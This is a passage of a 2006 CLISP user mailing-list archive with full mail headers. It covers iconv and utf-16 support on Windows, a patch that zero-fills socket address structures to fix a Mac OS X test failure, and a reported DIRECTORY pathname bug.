10:38:06 -0500 > * Yaroslav Kavenchuk [2006-01-13 13:20:26 +0200]: > > Surendra Singhi wrote: > >>>>I am using the 2.37 release on Windows, and utf-16 is not present. >>> >>>as documented above. >>> >>> >>>>So, do I have to compile clisp on windows with libc/libiconv to get >>>>utf-16, >>> >>>yes. use mingw or download the Yaroslav's version >>>(..-with-readline-and-gettext...). >>> >> >> Thanks. I am indeed using that. >> > > This is wrong. > > clisp under mingw does not use libiconv.dll! > Some time ago Bruno has disabled use of external libiconv under mingw > (see Changelog). > > libiconv.dll is used by the libintl.dll only 2005-05-28 Bruno Haible Make it possible to use iconv() on platforms other than Unix. Fixes 2005-03-01 patch. * lispbibl.d (ANSIC_error): New declaration. * errunix.d [!UNIX]: Define only OS_error. * error.d [!UNIX]: Include errunix.c, to define ANSIC_error. * stream.d (open_iconv, check_charset, iconv_mblen, iconv_mbstowcs) (iconv_wcslen, iconv_wcstombs, iconv_range, ChannelStream_fini): Undo 2005-03-01 patch. Call ANSIC_error instead of OS_error. * makemake.in (ERROR_INCLUDES): Add errunix unconditionally. * win32.d: Undefine HAVE_ICONV, in case it's set by unixconf.h (on mingw). I think that if the mingw configure process discovers a working iconv, it will be used. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.honestreporting.com http://www.jihadwatch.org http://ffii.org http://www.camera.org http://www.memri.org http://truepeace.org The paperless office will become a reality soon after the paperless toilet. From sds@gnu.org Fri Jan 13 09:22:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExSdW-0003Wb-3E for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 09:22:50 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExSdS-0006DZ-A7 for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 09:22:50 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0DHMDAe002735; Fri, 13 Jan 2006 12:22:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dan Starr Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dan Starr's message of "Fri, 13 Jan 2006 10:25:43 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dan Starr Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Mac OS X make check Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 09:23:07 2006 X-Original-Date: Fri, 13 Jan 2006 12:21:24 -0500 > * Dan Starr [2006-01-13 10:25:43 -0500]: > > UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile lisp.run (no need to re-dump lispinit.mem) and run ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test "tests/socket")' and send the output here. thanks. see also http://sourceforge.net/tracker/index.php?func=detail&aid=1399376&group_id=1355&atid=101355 please also try the appended patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com http://www.memri.org http://ffii.org http://www.honestreporting.com http://www.mideasttruth.com http://pmw.org.il Single tasking: Just Say No. --- socket.d 08 Jan 2006 11:31:15 -0500 1.103 +++ socket.d 12 Jan 2006 17:04:32 -0500 @@ -2,7 +2,7 @@ * Setting up a connection to an X server, and other socket functions * Bruno Haible 19.6.1994, 27.6.1997, 9.3.1999 ... 2003 * Marcus Daniels 28.9.1995, 9.9.1997 - * Sam Steingold 1998-2005 + * Sam Steingold 1998-2006 * German comments translated into English: Stefan Kain 2002-09-11 */ @@ -122,6 +122,14 @@ #define in6_addr in_addr6 #endif +/* Older BSDs (and Mac OS X 10.4.3) require that sockaddr is filled with + 0 before use (i.e., unused fields must be 0) and this requirement is + codified in the 1st ed of Stevens UNIX Network Programming. + It is not necessary on Linux, Cygwin, win32, Solaris, FreeBSD &c. + It might be a good idea to add an autoconf test for this bug... + see bug 1399376 http://sourceforge.net/tracker/index.php?func=detail&aid=1399376&group_id=1355&atid=101355 */ +#define FILL0(s) memset((void*)&s,0,sizeof(s)) + /* Converts an AF_INET address to a printable, presentable format. ipv4_ntop(buffer,addr); > struct in_addr addr: IPv4 address @@ -481,6 +489,7 @@ #ifdef HAVE_IPV6 { var struct sockaddr_in6 inaddr; + FILL0(inaddr); if (inet_pton(AF_INET6,host,&inaddr.sin6_addr) > 0) { inaddr.sin6_family = AF_INET6; inaddr.sin6_port = htons(port); @@ -491,6 +500,7 @@ #endif { var struct sockaddr_in inaddr; + FILL0(inaddr); if (inet_pton(AF_INET,host,&inaddr.sin_addr) > 0) { inaddr.sin_family = AF_INET; inaddr.sin_port = htons(port); @@ -502,9 +512,10 @@ /* if numeric host name then try to parse it as such; do the number check first because some systems return garbage instead of INVALID_INETADDR */ if (all_digits_dots(host)) { - var struct sockaddr_in inaddr; var uint32 hostinetaddr = inet_addr(host) INET_ADDR_SUFFIX ; if (!(hostinetaddr == ((uint32) -1))) { + var struct sockaddr_in inaddr; + FILL0(inaddr); inaddr.sin_family = AF_INET; inaddr.sin_addr.s_addr = hostinetaddr; inaddr.sin_port = htons(port); @@ -523,6 +534,7 @@ if (host_ptr->h_addrtype == AF_INET6) { /* Set up the socket data. */ var struct sockaddr_in6 inaddr; + FILL0(inaddr); inaddr.sin6_family = AF_INET6; inaddr.sin6_addr = *(struct in6_addr *)host_ptr->h_addr; inaddr.sin6_port = htons(port); @@ -533,6 +545,7 @@ if (host_ptr->h_addrtype == AF_INET) { /* Set up the socket data. */ var struct sockaddr_in inaddr; + FILL0(inaddr); inaddr.sin_family = AF_INET; inaddr.sin_addr = *(struct in_addr *)host_ptr->h_addr; inaddr.sin_port = htons(port); @@ -652,10 +665,12 @@ var struct sockaddr_un unaddr; /* UNIX socket data block */ var struct sockaddr * addr; /* generic socket pointer */ var int addrlen; /* length of addr */ + FILL0(unaddr); #ifdef hpux /* this is disgusting */ var struct sockaddr_un ounaddr; /* UNIX socket data block */ var struct sockaddr * oaddr; /* generic socket pointer */ var int oaddrlen; /* length of addr */ + FILL0(unaddr); #endif unaddr.sun_family = AF_UNIX; @@ -751,6 +766,7 @@ host_data_t * hd) { var sockaddr_max_t addr; var SOCKLEN_T addrlen = sizeof(sockaddr_max_t); + FILL0(addr); if (getsockname(socket_handle,(struct sockaddr *)&addr,&addrlen) < 0) return NULL; /* Fill in hd->hostname and hd->port. */ @@ -801,6 +817,7 @@ var sockaddr_max_t addr; var SOCKLEN_T addrlen = sizeof(sockaddr_max_t); var struct hostent* hp = NULL; + FILL0(addr); /* Get host's IP address. */ if (getpeername(socket_handle,(struct sockaddr *)&addr,&addrlen) < 0) return NULL; @@ -896,6 +913,7 @@ var SOCKET fd; var sockaddr_max_t addr; var SOCKLEN_T addrlen = sizeof(sockaddr_max_t); + FILL0(addr); if (getsockname(sock,(struct sockaddr *)&addr,&addrlen) < 0) return INVALID_SOCKET; switch (((struct sockaddr *)&addr)->sa_family) { @@ -931,6 +949,7 @@ #endif var sockaddr_max_t addr; var SOCKLEN_T addrlen = sizeof(sockaddr_max_t); + FILL0(addr); return accept(socket_handle,(struct sockaddr *)&addr,&addrlen); /* We can ignore the contents of addr, because we can retrieve it again through socket_getpeername() later. */ From dgou@mac.com Fri Jan 13 09:53:29 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExT7B-00051C-5W for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 09:53:29 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ExT7A-0005hr-2r for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 09:53:29 -0800 Received: from smtpout.mac.com ([17.250.248.85]) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1ExT6x-0003Ak-9F for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 09:53:15 -0800 Received: from mac.com (smtpin01-en2 [10.13.10.146]) by smtpout.mac.com (Xserve/8.12.11/smtpout03/MantshX 4.0) with ESMTP id k0DHonTo024811 for ; Fri, 13 Jan 2006 09:50:49 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin01/MantshX 4.0) with ESMTP id k0DHolxf026485 for ; Fri, 13 Jan 2006 09:50:48 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <692D91FB-5CFF-46E0-951C-44DEB9226C90@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] Re: Mac OS X make check To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 09:54:03 2006 X-Original-Date: Fri, 13 Jan 2006 12:50:46 -0500 >> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address > > it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile > lisp.run (no need to re-dump lispinit.mem) and run > ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test "tests/ > socket")' > and send the output here. thanks. > > see also http://sourceforge.net/tracker/index.php? > func=detail&aid=1399376&group_id=1355&atid=101355 > > please also try the appended patch. > thanks. That was the symptom I saw too! I don't recall seeing it, did we come to a resolution about whether or not zeroing those data structures "was the right thing to do" (versus necessary to work around OS bugs?) --Doug From sds@gnu.org Fri Jan 13 10:39:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExTpQ-0007K8-Su for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 10:39:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExTpN-0000W8-86 for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 10:39:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0DIcbBc006252; Fri, 13 Jan 2006 13:38:38 -0500 (EST) To: clisp-list@lists.sourceforge.net, Douglas Philips Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <692D91FB-5CFF-46E0-951C-44DEB9226C90@mac.com> (Douglas Philips's message of "Fri, 13 Jan 2006 12:50:46 -0500") References: <692D91FB-5CFF-46E0-951C-44DEB9226C90@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Douglas Philips Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Mac OS X make check Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 10:40:01 2006 X-Original-Date: Fri, 13 Jan 2006 13:37:49 -0500 > * Douglas Philips [2006-01-13 12:50:46 -0500]: > >>> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address >> >> it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile >> lisp.run (no need to re-dump lispinit.mem) and run >> ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test "tests/ >> socket")' >> and send the output here. thanks. >> >> see also http://sourceforge.net/tracker/index.php? >> func=detail&aid=1399376&group_id=1355&atid=101355 >> >> please also try the appended patch. >> thanks. > > That was the symptom I saw too! > > I don't recall seeing it, did we come to a resolution about whether or > not zeroing those data structures "was the right thing to do" (versus > necessary to work around OS bugs?) I am waiting for mac os x users to run the tests with a -DDEBUG_OS_ERROR build and tell me the specific calls (file:line) that fail. I am also waiting for the confirmation that the patch I sent to this list fixes the bug. Someone also has to report this as a posix compliance bug to the mac os x vendors. It would also be nice if we could figure out which other platforms exhibit this bug. I know that solaris, linux, win32, cygwin, netbsd are clean. Does anyone here use something else? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org http://www.mideasttruth.com http://pmw.org.il http://ffii.org http://www.palestinefacts.org (when (or despair hope) (cerror "Accept life as is." "Bad attitude.")) From lstaflin@gmail.com Sat Jan 14 07:12:52 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Exn5G-0003kq-42 for clisp-list@lists.sourceforge.net; Sat, 14 Jan 2006 07:12:50 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Exn5E-0005Db-Ka for clisp-list@lists.sourceforge.net; Sat, 14 Jan 2006 07:12:50 -0800 Received: by zproxy.gmail.com with SMTP id k1so843411nzf for ; Sat, 14 Jan 2006 07:12:02 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:mime-version:in-reply-to:references:content-type:message-id:content-transfer-encoding:from:subject:date:to:x-mailer:sender; b=fDeeybdTX5VXQuYH/rghtG9sbL2fvnIsAYR75phzbcfIEyj6PWRmXPThrOpLXwfei5+/wYJitIzN0XqgcavWe96vyG6M/7NoieyzRJSYvstsiFmzTdXDPkrhkARZeywj5ff88tddCHUHlo7UIsDG1KAtWPp9SeH3VqPzThRTweI= Received: by 10.65.241.13 with SMTP id t13mr2338574qbr; Sat, 14 Jan 2006 07:12:02 -0800 (PST) Received: from ?82.212.74.78? ( [82.212.74.78]) by mx.gmail.com with ESMTP id e14sm1636344qbe.2006.01.14.07.12.01; Sat, 14 Jan 2006 07:12:02 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <1F947A46-04B4-4AFF-9396-BC781196EB74@mac.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <7b8eab2ad49642161dacdda1f499bcc8@lysator.liu.se> Content-Transfer-Encoding: 7bit From: Lennart Staflin Subject: Re: [clisp-list] Re: attn Mac OS X users To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 14 07:13:03 2006 X-Original-Date: Sat, 14 Jan 2006 16:11:56 +0100 On 8 jan 2006, at 19:57, Sam Steingold wrote: >> * Douglas Philips [2006-01-08 10:04:00 -0500]: >> >> On 2006 Jan 7, at 8:39 PM, Sam Steingold wrote: >> >>> can anyone confirm this bug report? >>> https://sourceforge.net/tracker/? >>> func=detail&atid=101355&aid=1399376&group_id=1355 >>> SF CF mac os x is down, but NetBSD appears to work. >>> thanks! >> >> Yes, I can confirm that bug. A few days ago I built 2.37. Everything >> went find, but the make check failed. > I have seen this also (2.37 and CVS version). I was going to look into it, I wasn't sure nothing else had changed in my build environment. But other things got in the way .. > > could you please try the test file on some older version of clisp? > (socket.tst is a recent addition, this is probably the reason this has > not been reported before.) I tried running (run-test "socket") in clisp 2.36 on MacOS X. RUN-TEST: finished "socket" (0 errors out of 58 tests) //Lennart Staflin From kavenchuk@tut.by Sat Jan 14 11:43:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExrJD-0005Uc-DH for clisp-list@lists.sourceforge.net; Sat, 14 Jan 2006 11:43:31 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExrJB-0005MR-4e for clisp-list@lists.sourceforge.net; Sat, 14 Jan 2006 11:43:31 -0800 Received: from [194.158.220.142] (account kavenchuk HELO [194.158.220.142]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 49170900; Sat, 14 Jan 2006 21:42:09 +0200 Message-ID: <43C95457.7000506@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: utf-16 on windows? References: <8xtlp0iv.fsf@netscape.net> <43C78CFA.8000504@jenty.by> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 14 11:44:03 2006 X-Original-Date: Sat, 14 Jan 2006 21:43:19 +0200 Sam Steingold wrote: >2005-05-28 Bruno Haible > > Make it possible to use iconv() on platforms other than Unix. Fixes > 2005-03-01 patch. > * lispbibl.d (ANSIC_error): New declaration. > * errunix.d [!UNIX]: Define only OS_error. > * error.d [!UNIX]: Include errunix.c, to define ANSIC_error. > * stream.d (open_iconv, check_charset, iconv_mblen, iconv_mbstowcs) > (iconv_wcslen, iconv_wcstombs, iconv_range, ChannelStream_fini): > Undo 2005-03-01 patch. Call ANSIC_error instead of OS_error. > * makemake.in (ERROR_INCLUDES): Add errunix unconditionally. > > * win32.d: Undefine HAVE_ICONV, in case it's set by unixconf.h (on > mingw). > > >I think that if the mingw configure process discovers a working iconv, >it will be used. > > Yes, it works! But, remove, please, from win32.d next lines: /* Character set conversion: */ /* Yaroslav Kavenchuk reports some problems with iconv(), either due to incorrect builds of libiconv or to missing support in makemake.in. So disable it. */ #undef HAVE_ICONV Perhaps, at that time libraries were other system? :) It will be correct: rebuild clisp-2.37-win32-with-readline-and-gettext with support of libiconv? Thanks! -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Sat Jan 14 19:29:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExyaN-0006yN-6o for clisp-list@lists.sourceforge.net; Sat, 14 Jan 2006 19:29:43 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExyaJ-0005t8-Nm for clisp-list@lists.sourceforge.net; Sat, 14 Jan 2006 19:29:43 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 20FE058344; Sun, 15 Jan 2006 04:29:28 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 89A015833D; Sun, 15 Jan 2006 04:29:25 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id F005582EE; Sun, 15 Jan 2006 04:29:24 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20060115032924.F005582EE@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] DIRECTORY bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 14 19:30:08 2006 X-Original-Date: Sun, 15 Jan 2006 04:29:24 +0100 (CET) It seems to me there was a bug in DIRECTORY in 2.35; perhaps it still exists in current version? In short, this: (directory (make-pathname :directory '(:relative :wild-inferiors) :name "faq-doc-*" :type "html" :defaults *faqbase*)) returns the files matching the name and type found only in the first subdirectory of *faqbase*: [13]> (directory "/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part*/*.html") (#P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-8.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-7.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-9.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-8.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-7.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-10.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-9.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-8.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-7.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-17.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-16.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-15.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-14.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-13.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-12.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-11.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-10.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-9.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-8.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-7.html" 